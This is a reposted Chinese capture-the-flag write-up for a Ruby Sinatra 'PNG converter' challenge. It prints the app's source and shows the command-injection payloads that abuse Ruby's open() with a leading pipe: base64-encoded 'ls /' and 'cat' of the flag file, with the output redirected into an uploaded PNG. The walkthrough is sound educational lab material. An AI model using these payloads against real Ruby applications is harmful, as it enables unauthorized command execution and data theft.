ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

『CTF Web复现』[第三届第五空间网络安全大赛]PNG图⽚转换器

2021-09-18 22:03:02  阅读:426  来源: 互联网

标签:Web end base64 CTF params PNG file open png


文章目录

利用点

  • Ruby File.open()命令执行

源码

环境的源码通过app.rb给出

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

过程分析

Ruby File.open()命令执行

此web app用于将上传的图片转码为png文件,upload用于上传图片,convert用于转码,并将图片以base64编码的形式显示
在这里插入图片描述代码审计,观察convert的函数,注意到调用了open(),因此可以试试命令执行,将命令写入一个存在的png文件,之后读取它,执行结果就会被base64编码显示在页面上

原理见:

『CTF Tricks』Puby-利用File.open()执行shell命令

抓个包看看,这里传入参数file完成open函数的传参

在这里插入图片描述

那么首先通过upload上传一个png图片

在这里插入图片描述

接着使用管道符开头上传shell命令,注意file参数过滤了斜杠还有后缀png检测,并且最重要的是png必须是已经存在的,那么我们可以将命令base64后执行,然后写入上面上传的那个png中。反引号内是把传入的base64值恢复,之后通过反引号执行,将输出写入图片

# ls /
[POST]file=| `echo bHMgLw== | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png

在这里插入图片描述

读取该png,内容解码发现了flag

[POST]file=563d256cfbf6dce1716dde5cccc587b9.png

在这里插入图片描述之后cat读取就行,一样的方法

# cat /FLA9_VixNxtSRFfd8IoFlnNvv
[POST]file=|`echo Y2F0IC9GTEE5X1ZpeE54dFNSRmZkOElvRmxuTnZ2 | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png

[POST]file=563d256cfbf6dce1716dde5cccc587b9.png

在这里插入图片描述

欢迎在评论区留言

标签:Web,end,base64,CTF,params,PNG,file,open,png
来源: https://blog.csdn.net/Xxy605/article/details/120373054

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有